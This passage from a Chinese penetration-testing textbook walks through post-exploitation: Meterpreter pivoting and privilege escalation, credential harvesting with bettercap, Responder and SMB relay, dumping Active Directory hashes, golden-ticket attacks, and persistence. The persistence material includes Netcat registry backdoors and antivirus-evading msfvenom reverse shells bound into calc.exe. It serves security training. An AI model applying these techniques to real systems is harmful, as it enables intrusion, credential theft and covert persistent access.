 在目标系统的活动会话期间，使用Meterpreter，攻击者可以使用同一个系统扫描内部网络。如图11-29所示，显示了具有两个网络适配器192.168.0.119和192.168.52.129的系统。
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 图11-29　有两个网络适配器的系统
 
 但是，攻击者的IP没有到达内部IP范围的路由。使用Meterpreter会话的渗透测试人员可以在入侵系统增加路由，通过在Meterpreter中运行run post/multi/manage/autoroute来启动后利用自动路由模块，如图11-30所示。该模块通过将被入侵机器作为桥梁，从Kali攻击盒添加新路由到内部网络。
 
 现在，从攻击者的IP到内部IP范围（192.168.0.52.x）的所有流量，都将通过入侵系统（192.168.0.x）进行路由。
 
 现在，我们将Meterpreter会话放在后台运行，并尝试了解超出IP范围的内容，依然使用Metasploit中的NetBIOS扫描器，但利用以下模块：
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 图11-30　执行run post/multi/manage/autoroute
 
 确保将RHOSTS设置为内部系统的IP范围（见图11-31）。这将使攻击者能够在跳频网络上找到更多的系统。
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 图11-31　攻击者找到更多的系统
 
 一旦使用NetBIOS识别了系统，下一步是扫描所识别的主机的服务以发现漏洞，从而实现渗透测试的目标。典型的举措是利用Metasploit模块中的端口扫描器，如图11-32所示。
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 图11-32　使用扫描器
 
 使用代理链
 
 想要使用nmap和其他工具扫描网络以外的主机，渗透测试人员可以通过运行以下代码来利用Metasploit的socks4a模块：
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 通过编辑/etc/proxychains.conf，并将socks4配置更新为1080端口（或在Metasploit模块中设置的端口号），在运行模块后配置代理链（Proxychains）配置，如图11-33所示：
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 图11-33　配置代理链
 
 现在，攻击者将能够通过在终端运行proxychains nmap-vv-sv192.168.52.129来直接运行nmap。
 

  11.3　小结


  在本章中，我们着重介绍了完成目标系统利用后，紧接着要做的事。我们回顾了为表示服务器与本地环境而进行的初始快速评估。我们还学习了如何使用各种后利用工具来定位感兴趣的目标文件、创建用户账户，并执行横向提权来获取特定于其他用户的更多信息。我们专注于Metasploit的Meterpreter的使用，以及Empire PowerShell工具和Crack-Map-Exec，以收集更多的信息来执行内网漫游和提权攻击。我们还学习了Veil-Pillage框架的使用。


  在第12章中，我们将学习如何从一个普通用户提权到最高权限，以及如何利用在活动目录环境发现的漏洞。


  第12章　提权


  提权是指从相对较低的访问权限获得管理员、系统管理员或更高访问权限的过程。它允许渗透测试人员拥有系统操作的所有权限。更重要的是，获取某些访问权限将允许测试人员控制网络上的所有系统。随着漏洞变得越来越难以找到和利用，人们对提权进行了大量的研究，并将其作为确保渗透测试成功的手段。


  在本章中，我们将学习：


  ·通用提权方法。


  ·本地系统提权。


  ·DLL注入。


  ·通过嗅探和提权进行凭证收割。


  ·针对Kerberos的金票攻击。


  ·活动目录访问权限。

 
 12.1　常见的提权方法概述
 
 任何从方法论开始的事情都提供了解决问题的方法。在本节中，我们将介绍攻击者在红队训练或渗透测试中使用的通用提权方法。图12-1描述了可以使用的方法。
 
 根据杀链方法，目标的行动包括通过提权以维持对目标环境的访问。
 
 以下是任何目标系统中都存在的用户账户类型：
 
 ·普通用户：攻击者一般通过在普遍用户级运行后门程序访问系统。他们是系统（Windows或Unix）的普通用户，并且要么是本用户，要么是域用户，具有受限的系统权限，只能运行系统许可的任务。
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 图12-1　通用提权方法
 
 ·本地管理员：本地管理员是有权进行系统配置更改的系统账户持有者。
 
 ·授权管理员：授权管理员是具有管理员权限的本地用户账户。例如账户操作员或备份操作员是用于在活动目录环境中授权管理任务的典型组。
 
 ·域管理员：域管理员是可以管理他们所属域的用户。
 
 ·企业管理员：企业管理员是在活动目录中维护整个网络，有最多权限的用户。
 
 ·架构管理员：架构管理员是可以配置网络的用户。架构管理员不是最高权限账号的原因是，攻击者不能向其他组添加用户，因而限制了修改活动目录森林的访问级别。
 
 
 12.2　从域用户提权至系统管理员
 
 大多数情况下，通过发起控制台级攻击或者社会工程学攻击，攻击者可以获取普通域用户（非本地管理员）的访问权限（受限的权限）。下一步可以通过绕过和利用它去获取目标的系统级访问权限，而无须成为本地管理员。
 
 当攻击者最初访问系统并尝试运行系统级命令时，他们会收到拒绝访问（access denied）或没有权限在目标系统上运行命令（no privilege available to run the commands on the target system）的响应。这可以通过从Meterpreter控制台运行getsystem命令来验证，如图12-2所示。
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 图12-2　运行getsystem命令
 
 在本节中，我们将探讨Windows 2008和Windows 7系统中的一个漏洞。我们将使用最新的本地利用攻击ms18_8120_win32k_privesc来利用Win32k组件，该组件没有在内存中处理对象的属性，你可以将Meterpreter会话移至后台，然后通过以下步骤使用后利用模块：
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 如图12-3所示，成功利用这个漏洞可以以更高的权限开启一个shell。
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 图12-3　使用漏洞开启shell
 
 如图12-4所示，新的会话为你提供了系统级的访问权限（NT AUTHORITY\SYSTEM），这使得攻击者可以创建一个本地管理员级别的用户，进而可以利用Meterpreter shell的hashdump命令获取散列转储，或启用RDP并使用新账号登录，从而实现内网漫游。
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 图12-4　添加本地管理员级别的账号
 
 
 12.3　本地系统提权
 
 对于Windows 10或Windows 7系统，我们可以在用户环境下运行Meterpreter shell。可以在Meterpreter shell运行background，从而通过使用多个后利用模块实现绕过，具体使用哪个后利用模块取决于目标系统。在下面的例子中，我们使用了bypassuac后利用模块，如图12-5所示：
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 图12-5　启用bypassuac模块
 
 Meterpreter中的bypassuac模块将利用Meterpreter上的现有会话，提供一个权限更高的Meterpreter shell，如图12-6所示。
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 图12-6　获得提权的Meterpreter shell
 
 
 12.4　由管理员提权至系统管理员
 
 管理员权限允许攻击者创建和管理账户，访问系统上大部分的有效数据。然而，一些复杂的功能任务，要求请求者具有系统（SYSTEM）级别的访问权限。有几种方法可以实现将权限升级到系统级别。最常用的方法是用at命令，但现在因为安全原因已经过时，被Windows用于在特定时间调度任务。at命令总是在系统级权限上运行，然而，现在只能以非交互模式运行（见图12-7）。
 
 使用一个交互式的shell（在Meterpreter命令提示符下输入shell），打开一个命令提示符，并确定被入侵系统的本地时间。如果时间是下午12:50（at函数采用24小时计时法），在稍晚的时间调度一个交互式的命令shell，如图12-8所示。
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 图12-7　执行at命令
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 图12-8　成功创建计划任务
 
 当at任务指定好运行时间后，在Meterpreter命令提示符下，再次确认一下你的访问权限，如图12-9所示。
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 图12-9　在Meterpreter命令提示符下确定权限级别
 
 Windows 7和Windows 2008默认不允许不受信任的系统（如ADMIN$、C$等）远程访问管理共享。Meterpreter脚本可能需要这些共享，例如隐形模式或支持对服务器信息块（Server Message Block，SMB）的攻击。为了解决这个问题，将HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System添加到注册表中，并添加一个名为LocalAccountTokenFilterPolicy的新DWORD（32位）密钥，并将其值设置为1。
 
 另一个方法是，运行PsExec命令获取系统级访问权限。具体方法是上传PsExec到目标文件夹，然后以本地管理员的身份运行如下命令：
 
  
  [image: ] 
 
 
 如图12-10所示，该命令将以系统用户的身份开启另一个命令提示符。
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 图12-10　开启新的命令提示符
 
 DLL注入
 
 DLL注入是另一个简单的技术，被攻击者用于在另一个进程的地址空间的上下文中运行远程代码。此进程必须以超级权限运行，然后可用于以DLL文件的形式提权。
 
 Metasploit具有执行DLL注入的特定模块。攻击者唯一需要做的是链接现有的Meterpreter会话，并指定DLL的路径和进程的PID。
 
 在Meterpreter shell上从/usr/share/metasploit-framework/data/exploits/CVE-2015-2426/reflection_dll.x64.dll上传DLL，用户可以看到上传到目标位置的文件，如图12-11所示。
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 图12-11　上传DLL并查看上传到目标位置的文件
 
 文件上传后，退出（exit）命令提示符，返回到Meterpreter shell。现在运行ps命令列出所有进程。识别以系统级权限运行的进程ID。在示例中，我们将使用进程ID为1624的jmx.exe，然后运行background命令将Meterpreter shell放在后台运行。
 
 通过运行use post/windows/manage/reflective_dll_inject，在模块中使用后利用reflective_dll_inject。然后，设置PATH和SESSION利用，你将在Meterpreter的命令行获得另一个反向shell和负载。
 
 另一种方法是，利用Empire工具中的PowerShell DLL注入模块。你可以通过msfvenom创建一个带负载的DLL：
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 在Empire控制台，你可以选择合适的进程，并以NT AUTHORITY/SYSTEM的身份运行：
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 如图12-12所示，DLL文件注入一个正在运行的进程后，攻击者可以收到一个代理的报告，显示用户提权完成。
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 图12-12　代理返回的报告
 
 如图12-13所示，成功调用DLL后，负载得到执行，并成功以系统级用户的身份开启一个反向shell。
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 图12-13　成功调用DDL
 

  12.5　凭据收割和提权攻击


  凭证收割是识别目标用户名、密码和散列值的过程，这些可用于组织为渗透测试/红队训练设定目标。在本节中，我们将介绍Kali Linux中攻击者通常使用的三种不同类型的凭据收割机制。

 
 12.5.1　密码嗅探器
 
 密码嗅探器是一组工具/脚本，通常通过发现、欺骗、嗅探流量和代理来执行中间人攻击。根据我们之前的经验，我们注意到大多数机构内部都没有使用SSL，使用Wireshark可以获取大量用户名和密码。
 
 本节我们将探讨利用bettercap来捕获网络上的SSL流量，从而捕获网络用户的凭据。bettercap与上一代的ettercap命令类似，但增加了执行网络级欺骗和嗅探的功能。在Kali Linux终端中运行apt-get install bettercap可以直接下载bettercap。2018年，bettercap发展很快，兼容了用户接口，启用了胶囊模式（caplet）。胶囊（caplet）是扩展名为.cap的文件，可以被脚本化以实现交互会话的目的。类似于Metasploit的.rc文件，可以在终端执行以下命令对其进行更新：sudo bettercap-eval"caplets.update;q"。
 
 bettercap工具可用于在内部网络上实施更有效的中间人攻击。例如，我们可以使用一个caplet实施ARP和DNS欺骗，从而获取密码，脚本如下：
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 如图12-14所示，bettercap具备嗅探目标网络上所有流量数据的能力。
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 图12-14　使用bettercap嗅探网络流量
 
 为了提取SSL流量，我们可以利用https.proxy模块，代码如下：
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 如图12-15所示，在bettercap工具中执行上述命令可以查看HTTPS流量信息。
 
 测试人员在使用bettercap时要非常小心，因为它有可能会中断Kali Linux连接的整个网络。
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 图12-15　使用bettercap查看HTTPS流量信息
 
 
 12.5.2　响应者
 
 响应者（Responder）是针对本地链路多播名称解析（Link-Local Multicast Name Resolution，LLMNR）和NetBIOS名称服务（NetBIOS Name Service，NBT-NS）的内置Kali Linux工具，可根据文件服务器请求响应特定的NetBIOS查询。可以通过在终端中运行responder-I eth0-h来启动此工具，其中eth0指的是网络上你想要的以太网适配器名称，如图12-16所示。
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 图12-16　启动Responder工具
 
 Responder可以执行以下操作：
 
 ·检查包含任何特定DNS条目的本地主机文件。
 
 ·在所选网络上自动执行DNS查询。
 
 ·使用LLMNR/NBT-NS向所选网络发送广播消息。
 
 同一网络上的攻击者可以在该网络上启动Responder，如图12-17所示。Responder可以自行设置多种服务器类型。
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 图12-17　启动同一网络上的Responder
 
 在这个例子中，假设我们在IP地址为192.168.1.125的受害者试图访问位于\\METASPLO ITABLE3\\的文件服务器时对其进行入侵。不管怎样，受害者会收到如图12-18所示的错误消息。
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 图12-18　错误信息
 
 现在攻击者使用Responder中断包含NTLM用户名和散列的结果，如图12-19所示。
 
 通过在终端中运行responder-I eth0-wrFb，可以使用Responder执行另一个简单的密码捕获攻击。在这种情况下，用户将获得一个NTLM弹出窗口以输入用户名和密码。所有日志文件将放在/usr/share/responder/logs/下，日志文件名为SMBv2-NTLMv2-SSP-<IP>.txt。然后可以通过运行john SMBv2-NTLMv2-SSP-<IP>.txt直接传递给John the Ripper，以便脱机破解捕获的NTLM散列。如图12-20所示，通过--show选项可以查看john的输出。其中第一个变量表示用户名，第二个是明文密码，第三个是主机名，后面跟着哈希值。
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 图12-19　攻击者获取受害者的NTLM用户名和散列值
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 图12-20　通过--show选项查看john的输出
 
 
 12.5.3　SMB中继攻击
 
 特定于SMB的攻击是最近新兴的一种有趣的攻击，包括EternalBlue和SMB中继攻击。渗透测试人员利用SMB中继来捕获身份认证尝试（请求），并将其用于网络上的进一步行动。这些只是另一个pass the hash（绕过哈希）攻击。为了启动SMB中继攻击，请执行以下步骤：
 
 1.用特定的负载创建一个后门：
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 2.现在使用smbrelayx.py装备SMB中继攻击。smbrelayx.py文件可以在/usr/share/doc/python-impacket/examples/smbrelayx.py找到，它是Python impacket包的一部分。如图12-21所示，测试人员可以运行并设置一个SMB服务器。这应当会让我们成功得到另一个反向shell：
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 图12-21　用smbrelayx.py装备SMB中继攻击
 
 3.确认Metasploit句柄开启，并正在运行创建payment.exe文件时所设置的相同的负载。最后，你应该可以在Meterpreter上看到一个反向shell，如图12-22所示。
 
  
  [image: ] 
 
 
 图12-22　反向shell的截图
 
 
 12.6　提升活动目录中的访问权限
 
 我们刚刚探索了如何升级系统内的权限，以及如何通过网络获取凭据。现在让我们利用迄今为止收集的所有细节。然后，使用杀链方法实现渗透测试的目标。在本节中，我们将把普通域用户的权限升级为域管理员。
 
 我们可以识别连接到域的系统，使用Empire PowerShell工具升级到域控制器，并转储所有用户名和密码散列值，如图12-23所示。
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 图12-23　转储用户名和密码散列值
 
 你可以使用态势感知模块get_domain_controller收集更多关于域的信息，如图12-24所示。
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 攻击者可以使用get_loggedon模块来识别谁登录到了域中，命令如下：
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 所有登录到域控制器的用户都将是可见的，如图12-25所示。
 
 通过使用getsystem模块在本地升级权限，如图12-26所示。
 
 升级方法的下一步是将权限升级到域管理员。一旦运行mimikatz来转储所有的用户密码和散列，这一步就不是必需的，如图12-27所示。你可以通过Metasploit中的Psexec模块或者CrackMapExec使用散列或者明文测试密码进行身份验证。
 
 现在，攻击者可以通过在Empire界面中输入creds来检查Empire工具的凭据存储中的所有凭据，如图12-28所示。
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 图12-24　执行态势感知模块
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 图12-25　查看登录到域控制器的所有用户
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 图12-26　升级本地权限
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 图12-27　使用mimikatz转储所有用户密码和散列
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 图12-28　检查所有凭据
 
 第二步是从Empire PowerShell工具中调用wmi模块。在Empire PowerShell的命令行运行以下命令：
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 这将调用域控制器成为监听器的代理，如图12-29所示。
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 图12-29　从Empire PowerShell调用wmi模块
 
 收到代理对Empire工具的回应后，我们可以通过运行interact<Name>命令切换代理为新回应的计算机。然后，如图12-30所示，使用management/enable_rdp模块将启用域控制器的远程桌面协议（Remote Desktop Protocol，RDP）。
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 图12-30　启用域控制器的远程桌面协议
 
 现在我们可以利用RDP远程访问系统了。利用当前对域控制器的访问，我们可以使用该会话进一步转储所有用户信息和密码散列值。
 
 要转储活动目录中的所有用户，我们必须找到完整的安全注册表和系统注册表，使用ntds.dit也是非常重要的。可以通过单个PowerShell命令使用Ntdsutil来执行：
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 上述命令是做什么的？
 
 Ntdsutil是Windows服务器系列内置的一个命令行工具，用于提供活动目录域服务的管理。它们是从媒体安装的（Install From Media，IFM），帮助我们从域控制器下载所有的活动目录数据库和注册表设置，以展开文件，如图12-31所示。最后，我们可以在c:\temp看到这些文件，包含两个文件夹：Active Directory和registry。
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 图12-31　展开文件
 
 现在，注册表和系统配置单元都已在C:\temp文件夹中创建，可以用于使用secretsdump.py来离线破解密码。
 
 secretsdump.py是来自Impacket的Kali Linux中的内置脚本。要查看明文和散列密码，攻击者可以在终端中运行secretsdump.py-system<systemregistry>-security<securityregistry>-ntds<location of ntds“LOCAL”。运行secretsdump.py时，你应该可以看到如图12-32所示的屏幕截图。
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 图12-32　散列密码和明文密码
 
 搜索pekList后，所有活动目录用户名及其密码散列都肯定对攻击者可见，如图12-33所示。
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 图12-33　所有活动目录用户名及其密码散列信息
 
 类似地，如果目标只是提取一个域的hashdump，攻击者可以利用credentials/Mimikatz/dcysnc_hashdump模块。如图12-34所示，该模块直接在域控制器上运行，只获取所有域用户的用户名和密码散列。
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 图12-34　使用credentials/Mimikatz/dcysnc_hashdump模块
 
 
 12.7　入侵Kerberos——金票攻击
 
 最近发现的另一组更复杂的攻击，是在活动目录环境下滥用Microsoft Kerberos漏洞。成功的攻击导致攻击者入侵域控制器，然后使用Kerberos实现将权限升级到企业管理员和架构管理员级别。
 
 以下是用户在基于Kerberos的环境，通过用户名和密码登录的典型步骤：
 
 1.用户密码被转换成具有时间戳的NTLM散列值，然后将其发送到密钥分发中心（Key Distribution Center，KDC）。
 
 2.域控制器检查用户信息并创建一个票证–授权票据（Ticket-Granting Ticket，TGT）。
 
 3.该TGT只能通过Kerberos服务（Kerberos service，KRBTGT）访问。
 
 4.然后，TGT从用户端传递到域控制器以请求票证授权服务（Ticket Granting Service，TGS）的票据。
 
 5.域控制器验证权限账户证书（Privileged Account Certificate，PAC），如果允许打开票证，则TGT将被有效地复制，用来创建TGS。
 
 6.最后，用户被授权访问服务。
 
 攻击者可以根据可用的密码散列来操纵这些Kerberos票证。例如，如果你已经破解了一个连接到域的系统，并提取了本地用户凭据和密码散列。下一步就是识别KRBTGT密码散列得到金票。这使得取证和事件响应团队难以定位攻击源。
 
 在本节中，我们将探讨如何轻松生成金票。如果已经有一个单一域计算机的低权限的管理员账号的话，使用Empire攻击，只需一步就可以利用这个漏洞。
 
 所有活动目录控制器负责处理Kerberos票据请求，这些请求随后将用于域用户的身份认证。krbtgt账号用于对给定域中生成的所有Kerberos票据加密并签名，随后域控制器利用krbtgt账号的密码解密票据形成验证链。测试者必须记住大多数服务账号（包括krbtgt）的密码有效期和密码更改都不会受限，并且他们的用户名通常是一样的。
 
 我们将使用低权限的本地管理员域用户来生成令牌，然后传递散列值到域控制器，然后为特定账号生成散列值。具体可以通过以下步骤实现：
 
 1.运行creds命令，在Empire工具中列出所有捕获的凭据，然后利用pth和凭据编号传递散列：
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 这里，我们选择使用1，如图12-35所示。
 
 2.如图12-36所示，传递完散列，并且以当前用户权限创建新的进程后，可以在Empire工具中使用steal_token PID命令来偷取令牌。
 
 3.现在我们在Metasploitable3上设置为SYSTEM用户，而在域控制器上正运行着Mastering域。如图12-37所示，输出结果包括域SID和密码散列。
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 4.现在，如果域控制器有漏洞的话，我们就已经偷取了krbtgt用户账号的密码散列。如果DCSync失败，攻击者可以试着采用相同的方法攻击所有域控制器。如图12-38所示，攻击者将看到新的凭据（用户名为krbtgt）已经添加到了已有的列表中。
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 图12-35　利用pth传递散列
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 图12-36　偷取令牌
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 图12-37　输出域SID和密码散列
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 图12-38　凭据列表
 
 5.最后，当我们获取Kerberos散列后，可以将散列传递给域控制器，让其颁布一张金票。使用正确的凭据ID和任意用户名运行golden_ticket模块后，就可以获得金票。当golden_ticket模块成功运行后，你将看到如图12-39所示的画面，相关代码如下：
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 模块成功执行后，将为我们提供如图12-39所示的详细信息。
 
 6.如图12-40所示，有了金票，攻击者可以查看域控制器上（以及域中任何使用该金票的系统）的任何文件，从而获取相关数据。
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 图12-39　使用golden_ticket模块获取金票
 
  
  [image: ] 
 
 
 图12-40　查看域控制器的文件
 
 如果攻击者与目标域控制器存在一个远程桌面会话的话，上述攻击可以通过对目标运行mimikatz命令来实现，相关命令如下：
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 通过运行这些攻击，攻击者将被认证为包括企业管理员和架构管理员在内的任何用户。
 
 与此类似的另一种类型的攻击是Kerberos银牌攻击，但很少论及。这种攻击也是伪造TGS，但它是由服务账户签署的，这意味着银票攻击仅限于针对服务器上的任何直接服务。PowerShell的Empire工具可以通过提供rc4/NTLM散列的参数使用redentials/mimikatz/silver_ticket模块，用于利用相同的漏洞。
 

  12.8　小结


  在本章中，我们研究了提权的方法，并探讨了可用于实现渗透测试目标的多种方法和工具。


  我们首先学习了一般的系统级权限提升，主要是通过bypassuac工具利用ms18_8120_win32k_privesc，以及使用已有的Windows计划任务来实现。


  我们的重点是利用Meterpreter来获得系统级控制权，之后深入了解了PowerShell的Empire工具，然后通过在网络上使用密码嗅探器来收获凭据。我们还利用响应者和SMB中继攻击来获得远程系统访问，并且我们使用响应者捕获了使用SMB的网络上的不同系统的密码。


  我们使用结构化方法完全入侵了活动目录。最后，利用Empire PowerShell攻击了活动目录中的访问权限，并通过使用Empire工具执行金票攻击来入侵了Kerberos。


  在第13章中，我们将了解攻击者如何使用不同的技术来维护对受攻击（如使用杀链方法）的系统的访问权限。我们还将深入了解如何将数据从内部系统提取到外部系统。


  第13章　命令与控制


  现代攻击者对利用系统或网络并不感兴趣，而是继续前进。他们的目标是攻击并入侵一个有价值的网络，然后尽可能长时间地驻留在网络上。命令与控制指的是这样一种机制，即测试人员通过一种重复的攻击行为，长期占领入侵系统、保持双向通信、提取数据到测试人员的位置，并隐藏攻击的证据。


  攻击者杀链的最后阶段是“命令、控制、通信”，在此期间，攻击者依赖与被入侵系统的持续连接，保证他们能持续控制被入侵系统。


  在本章中，你将学习：


  ·持久性的重要性。


  ·利用Metasploit框架、PowerShell Empire和在线文件共享维持持久性。


  ·使用前置域技术维持命令与控制。


  ·使用不同协议对数据进行提取的技术。


  ·隐藏攻击证据。


  13.1　持久性


  为了实现高效运行，攻击者必须能够维持持久交互（interactive persistence）——他们必须与被攻击系统保持双向通信（交互），与被入侵的系统保持长期的交互而不被发现（持久性）。这种类型的连接的需求原因如下：


  ·可能检测到网络入侵，被入侵的系统可能识别并打补丁。


  ·一些攻击只能使用一次，因为漏洞是间歇性的，渗透攻击可能导致系统失效，或者导致系统发生改变，漏洞变得不再可用。


  ·由于各种原因，攻击者可能需要多次返回到相同的目标。


  ·当目标被攻破后，不可能立即就知道目标的利用价值。


  用来维持持久交互的工具，在经典的术语里，简称为后门（backdoor）或者木马（rootkit）。但是，自动化的恶意软件和人为攻击共同引领的持久趋势已经使传统标签的意义变得模糊。所以作为替代，我们将这种打算在被入侵系统上停留较长时间的恶意软件称为持久代理（persistent agent）。


  这些持久代理为攻击者和测试人员完成许多功能，主要包括以下：


  ·允许上传额外的工具以支持新的攻击，特别是针对位于同一网络的系统。


  ·便于从被入侵的系统和网络中提取数据。


  ·允许攻击者和被入侵系统重新连接，通常通过加密信道来避免探测。持久代理曾经在被入侵系统的停留时间超过了一年。


  ·采用反取证技术来避免被发现，包括在目标文件系统或系统内存中隐藏，使用强认证和加密技术。


  13.2　使用持久代理


  传统意义上，前门（front door）为合法的用户提供认证接入，而攻击者会在被攻击的系统上植入一个后门，后门程序允许攻击者返回被攻破系统，获得服务和数据的访问。


  不幸的是，传统的后门程序提供有限的交互，它不是为了能够在被攻击系统上停留较长时间而设计的。传统后门最显著的缺点是：一旦这个后门被发现并移除后，攻击者只能重复攻击过程来攻破系统，而这是非常困难的，因为预警后的系统管理员会对网络和资源进行防护。


  攻击者现在以持久代理为重点，如果使用得当，很难被检测到。我们将回顾第一个令人敬佩的工具Netcat。

 
 13.2.1　使用Netcat作为持久代理
 
 Netcat利用“原始”的TCP和UDP数据包，支持从网络连接中读写数据。与Telnet或者FTP服务形成的数据包不同，Netcat的数据包不具有特定于服务的包头和其他信道信息。这简化了通信，并能适应大部分通信信道。
 
 最新的稳定版本由Hobbit在1996年发行，它保持了和以往一样强大的功能。它经常被称为TCP/IP瑞士军刀（TCP/IP Swiss Army Knife）。Netcat可以完成许多功能，主要列举如下：
 
 ·端口扫描。
 
 ·提取用来识别服务的标志。
 
 ·端口重定向和代理。
 
 ·文件传输和聊天，包括支持数据取证和远程备份。
 
 ·在被攻破系统上，作为后门或者持久交互代理。
 
 这里我们将重点关注利用Netcat在被攻破系统上创建一个持久shell。尽管随后的例子是用Windows作为目标平台，但它在基于UNIX系统的平台上也能发挥同样的作用。还应该注意的是，大多数传统的Unix平台都将Netcat作为操作系统的一部分。
 
 在图13-1中可以看到，我们将保留可执行文件的名字——nc.exe，但一般在使用前，普遍会对其重新命名，以最小化被探测到的可能性。即使它已经被重命名，通常也会被杀毒软件发现。许多攻击者会修改或者移除Netcat源代码中不需要的元素，并在使用前重新编译。这样的变化能够改变杀毒软件用来识别应用的签名，比如Netcat，这会使其对杀毒软件不可见。
 
 1.Netcat存储在Kali的/usr/share/windows-binaries库中。从Meterpreter输入如下命令，将其上传到被攻击系统中：
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 上述命令执行的结果如图13-1所示。
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 图13-1　上传Netcat的屏幕截图
 
 你无须专门把Netcat放在system32文件夹中。但是，由于此文件夹中文件的数量和文件类型的多样性，这是将文件隐藏在被入侵系统中的最佳位置。
 
 [image: ]当在一个客户端进行渗透测试时，我们发现在一台服务器上有6个独立的Netcat实例。有两个是被两个不同的系统管理员安装的，用以支持网络管理，其他4个实例是外部攻击者安装的，在渗透测试前都没有被发现。因此，要经常检查目标机器上是否已安装了Netcat。
 
 如果没有Meterpreter连接，可以用简单文件传输协议（Trivial File Transfer Protocol，TFTP）来传输文件。
 
 2.接着，用如下命令配置注册表，使系统开始运行，并启动Netcat，确保监听端口8888（或者选择其他任何长期不使用的端口）：
 
  
  [image: ] 
 
 
 3.用如下queryval命令来确认已成功修改注册表：
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 4.使用netsh命令，打开一个连接到本地防火墙的端口，以确保被入侵系统能够远程连接到Netcat。重要的是要知道目标的操作系统信息。Windows Vista、Windows Server2008和最新版本使用netsh advfirewall firewall命令行环境，而之前的操作系统使用netsh firewall。
 
 5.为了添加端口到本地防火墙，需要在Meterpreter提示符后输入shell命令，然后使用适当的命令规则。当对规则进行命名时，使用svchostpassthrough这样的名称，暗示此规则对系统的正常运行有重要作用。示例命令显示如下。
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 6.用如下命令确认修改已成功：
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 图13-2显示了上述命令执行的结果：
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 图13-2　添加端口连接
 
 7.当端口规则确定后，确保重启选项启动。
 
 ·在Meterpreter提示符后输入如下命令：
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 ·在交互式Windows shell中输入如下命令：
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 8.为了远程接入被入侵系统，在命令提示符下输入nc，表示连接的详细程度（参数-v表示报告基本信息，参数-vv表示报告更多详细的信息），然后输入目标的IP地址和端口号，如图13-3所示。
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 图13-3　使用nc命令
 
 不幸的是，在使用Netcat时存在一些限制：没有认证机制，对传输的数据没有加密，几乎能够被所有的杀毒软件检测到。
 
 9.可以用cryptcat来加密，cryptcat是Netcat的变体。在攻击者与被入侵系统的传输中，它运用Twofish算法加密数据。Twofish加密算法是由Bruce Schneier提出的一种高级对称分组加密算法，可以为加密的数据提供强有力的保护。
 
 要使用cryptcat，确保有一个准备好的监听器，并配置强壮的密码，使用如下命令进行配置：
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 10.接下来，上传cryptcat到被入侵的系统，使用如下命令进行配置，使其连接到监听器的IP地址：
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 不幸的是，大多数的杀毒软件还是有可能检测到Netcat和它的变体。可以用十六进制编辑器对Netcat源代码进行编辑，使其不能被检测到。这将有助于避免触发杀毒软件的签名匹配行为，但是，这可能是一个漫长的试错过程。更有效的方法是利用Metasploit框架的持久性机制的优势。
 
 
 13.2.2　使用schtasks来配置持久任务
 
 在Windows XP和2003中，Windows任务调度程序（Windows Task Scheduler）schtasks是为替代at.exe而引入的，但是我们仍然可以看到at.exe在最新版本的Windows中运行，以便向后兼容。在这一节中，我们将继续使用这一功能维持对入侵系统的持续访问。
 
 现在，攻击者可以在受攻击的系统上创建一个调度任务，以从攻击者的机器运行Empire代理负载，然后提供后门访问。schtasks可以直接从命令提示符中进行调度，如图13-4所示。
 
 以下是典型的调度任务场景，可以由攻击者用于保持对系统的持久性访问：
 
 ·在用户登录过程中启动一个Empire PowerShell代理。从命令行运行如下命令：
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 图13-4　使用schtasks调度
 
 ·类似地，在系统开始时启动代理，命令如下：
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 ·以下命令会在系统空闲时启动一个代理：
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 攻击者应该确保监听器始终在运行，并且打开连接。攻击者将使用有效的SSL证书运行HTTPS设置服务器，这样就不会触发内部保护（防火墙、IPS、代理）的警告了。
 
 相同的任务可以使用Empire PowerShell工具模块persistence/evelated/schtasks*通过一个命令执行，如图13-5所示。
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 图13-5　执行schtasks
 

  13.2.3　使用Metasploit框架保持持久性


  Metasploit的Meterpreter包含几个脚本，支持在被入侵系统上保持持久性。我们将讨论用于放置后门的persistence脚本。

 
 13.2.4　使用persistence脚本
 
 一种获得持久性的有效方法是使用Meterpreter提示符的persistence脚本。注意，Meterpreter中的persistence模块已经被后利用模块替代，但是，后面的实例在2019年1月Metasploit的最新版本中依然有效。
 
 在系统被入侵，且migrate命令已经把最初的shell转移到一个更安全的服务后，攻击者就可以从Meterpreter命令提示符调用persistence脚本。
 
 在命令中使用-h参数，可以识别创建可持续后门的可用选项，如图13-6所示。
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 图13-6　运行persistence脚本
 
 如图13-7所示，我们已经配置persistence为当系统启动时自动运行，并试图连接监听器，频率为每5秒一次。监听器作为远程系统（-r），可以通过特定的IP地址和端口识别。
 
 此外，我们可以选择使用-U选项，它可以在用户登录系统时启动persistence。
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 图13-7　使用persistence脚本
 
 [image: ]请注意，persistence使用的是随机端口443。攻击者必须验证本地防火墙的配置，确保端口开启，或者使用reg命令来开启该端口。与大多数Metasploit模块一样，任何长期没有使用的端口都可以选择。
 
 persistence脚本会在临时目录中放置一个VBS文件，你也可以用-L选项来选择不同的位置。该脚本还把此文件加入注册表的本地自动运行部分。
 
 因为persistence脚本没有经过认证，所有人都可以使用它访问被入侵系统。当发现或者渗透测试完成后，应该将其从被入侵系统中立即删除。确认资源文件的位置后，可以通过如下resource命令来清理。
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 13.2.5　使用Metasploit框架创建一个独立的持久代理
 
 Metasploit框架可以用来创建独立的可执行文件，它可以保留在被入侵的系统中，并允许交互通信。独立包的优点在于，它可以提前准备和测试用以确保连接，可以编码来绕过本地杀毒软件。
 
 1.为了创建一个简单的独立代理，可利用msfvenom。在如图13-8所示的例子中，使用reverse_tcp shell来配置代理，它将连接到攻击者的IP处的本地主机，端口号为443：
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 代理名为attack1.exe，使用win32可执行文件模板。
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 图13-8　使用reverse_tcp shell配置代理
 
 这会使用x86/shikata_ga_nai协议对attackl.exe代理执行五次编码。每次重新编码后，都会更难被检测到。但是，可执行文件的大小也在增加。
 
 我们可以在msfvenom中使用-b x64/other来配置编码模式，避免某些字符。例如，当编码一个持久代理时，应避免如下的字符，因为它们可能会被发现，从而导致攻击失败。
 
 ·\x00：代表0字节地址。
 
 ·\xa0：代表换行。
 
 ·\xad：代表回车。
 
 2.使用如下命令来创建多次编码负载：
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 3.你也可以将msfvenom编译到已有的可执行文件中，并且修改后的可执行文件和持久代理均能工作。为了将持久代理绑定到可执行文件（如计算器calc.exe），首先要将calc.exe文件复制到Kali Linux。运行meterpreter>download c:\\windows\\system32\\calc.exe，使用已有的Meterpreter会话下载该文件。
 
 4.文件下载完成后，运行如下命令：
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 5.代理可以放置到目标系统上，重命名为calc.exe，替换原来的计算器，随后执行。
 
